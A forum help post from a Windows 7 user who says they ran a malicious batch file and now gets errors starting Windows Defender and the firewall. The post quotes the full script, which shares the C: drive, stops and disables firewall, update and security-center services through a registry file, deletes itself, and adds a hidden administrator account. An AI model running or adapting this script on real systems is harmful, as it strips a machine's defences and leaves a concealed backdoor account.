Posted February 27, 201410 yr I get errors upon starting windows defender and firewall This error is entirely my fault, don't ask why but I ran a malicious code: @echo off Cls net share system=C:\ /unlimited cls Attrib +r +h C:\windows\startm~1\program\startup\trojan.bat Cls net stop SharedAccess net stop “Security Center” >>”%Temp%.kill.reg” ECHO REGEDIT4 >>”%Temp%.kill.reg” ECHO. >>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess] >>”%Temp%.kill.reg” ECHO “Start”=dword:004 >>”%Temp%.kill.reg” ECHO. >>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv] >>”%Temp%.kill.reg” ECHO “Start”=dword:004 >>”%Temp%.kill.reg” ECHO. >>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsvc] >>”%Temp%.kill.reg” ECHO “Start”=dword:004 >>”%Temp%.kill.reg” ECHO. START /WAIT REGEDIT /S “%Temp%.kill.reg” del “%Temp%.kill.reg” del %0 cls net user Admin /add net localgroup Administrators /add “Admin” cls reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v “Admin” /t REG_DWORD /d 00 /f cls reg add “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ Messenger” /v Start /t REG_DWORD /d 002 /f cls net start Messenger cls netsh firewall set opmode mode=disable cls reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v “admin” /t REG_DWORD /d 00 /f” REG add “HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V DISABLEREGISTRYTOOLS /T REG_DWORD /D 0 /F” Cls I have tried several approaches from other posts but I am still left with this problem. I used troubleshooters from windows antivirus software Registry Repair Many of the methods don't work for me because I always get "Bad Image: This program is not des....." errors which go a long while back. I also tried repairing those but nothing. I am running Windows 7 Ultimate. Any help is appreciated! Continue reading...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.